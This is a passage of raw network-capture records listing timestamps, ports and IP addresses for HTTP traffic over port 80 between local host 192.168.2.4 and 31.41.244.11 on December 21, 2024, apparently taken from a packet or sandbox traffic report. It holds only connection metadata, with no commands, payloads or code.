Dec 21, 2024 18:16:49.648792982 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.648925066 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.649435043 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.650584936 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.650784969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.650819063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.650855064 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.650885105 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.650898933 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.652534962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.652569056 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.652601957 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.652621031 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.652650118 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.653023005 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.653455019 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.653697014 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.653898001 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.653949022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.654618025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.654807091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.655366898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.655436039 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.655436993 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.656251907 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.656404972 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.656476021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.657187939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.657361031 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.657478094 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.658144951 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.661925077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.673985004 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.674197912 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.674251080 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.674392939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.674432993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.674436092 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.674604893 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.675175905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.675302029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.675369978 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.676132917 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.676172018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.676198959 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.676228046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.676999092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.677053928 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.677215099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.677304983 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.677728891 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.677819967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.678549051 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.678607941 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.678669930 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.679198027 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.807774067 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.807828903 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.807986021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.807986021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.808238029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.808300018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.808422089 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.809046030 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.809261084 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.809319019 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.809689999 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.809758902 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.810065031 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.810103893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.810642958 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.810870886 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.810930014 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.811006069 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.811184883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.811943054 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.811979055 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.812005997 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.812091112 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.812809944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.812870026 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.812971115 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.813143969 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.813801050 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.813838005 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.813855886 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.813890934 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.814383030 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.814481020 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.814558983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.814618111 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.815359116 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.815453053 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.815457106 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.815500975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.818967104 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.819036961 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.819076061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.819112062 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.819147110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.819190025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.819205046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.819205046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.819247961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.819549084 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.820030928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.820113897 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.820446968 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.820517063 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.820539951 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.820758104 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.821515083 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.821554899 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.821813107 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.822212934 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.822422981 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.822487116 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.823117018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.823332071 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.823416948 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.823867083 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.823990107 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.824068069 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.824908972 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.825001955 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.825108051 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.825877905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.825997114 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.825999022 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.826488972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.826663017 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.826725960 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.826792002 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.826868057 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.827608109 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.827671051 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.827733040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.827863932 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.828538895 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.828613997 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.828644037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.828816891 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.829546928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.829641104 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.829706907 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.829847097 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.830516100 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.830614090 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.830686092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.830827951 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.831370115 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.831423998 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.831495047 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.831549883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.832395077 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.832448959 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.832461119 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.832947016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.833254099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.833307028 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.833363056 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.833472013 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.834314108 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.834379911 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.834443092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.834602118 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.835133076 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.835190058 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.835252047 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.836087942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.836219072 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.836276054 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.837166071 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.837240934 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.837322950 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.837404013 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.838126898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.838175058 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.838207960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.838408947 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.839025021 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.839075089 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.839137077 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.839252949 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.839868069 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.840003014 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.840976954 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.841068029 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.841075897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.841131926 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.841738939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.841867924 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.842700958 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.842757940 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.842808962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.843636990 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.843693972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.843756914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.844563007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.844619036 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.844681978 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.845513105 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.845562935 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.845693111 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.845778942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.846518993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.846699953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.847413063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.847517014 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.847517967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.848340988 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.848467112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.848522902 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.849280119 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.849407911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.849540949 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.850182056 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.853426933 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.866188049 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.866246939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.866667032 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.866728067 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.866769075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.866786957 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.866786957 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.867259026 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.867376089 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.867402077 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.868041039 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.868145943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.868346930 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.868896008 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.869003057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.869131088 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.869797945 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.869925022 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.870754004 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.870811939 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.999490023 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.999543905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.999821901 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.999861956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.999968052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.999968052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.000988960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.001085997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.001125097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.001178980 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.001713991 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.001836061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.002713919 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.002772093 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.002854109 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.003308058 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.003629923 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.003863096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.004640102 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.004689932 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.004697084 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.005471945 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.005616903 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.005666971 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.006429911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.006582975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.006633997 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.007375002 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.007533073 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.008335114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.008394957 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.008457899 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.009294033 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.009346962 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.009468079 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.010240078 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.010330915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.010389090 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.011193037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.011321068 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.011337996 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.012176037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.012274027 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.012331963 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.013174057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.013227940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.014000893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.014066935 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.014108896 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.015083075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.015208960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.015366077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.015865088 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.016036034 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.016802073 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.016961098 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.016959906 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.017769098 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.017894983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.017952919 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.018682957 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.018825054 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.018871069 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.019637108 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.019850969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.020602942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.020664930 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.020710945 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.021553993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.021677971 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.021744013 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.022517920 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.022609949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.023330927 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.023421049 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.023535013 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.023600101 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.024379015 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.024471045 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.024641037 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.025311947 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.025582075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.026333094 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.026396990 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.026443958 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.027245998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.027302980 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.027383089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.028151035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.028278112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.028335094 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.029083967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.029190063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.030028105 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.030086040 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.030208111 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.031018972 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.031075001 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.031213999 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.031310081 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.032021046 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.032172918 CET	80	49866	31.41.244.11	192.168.2.4
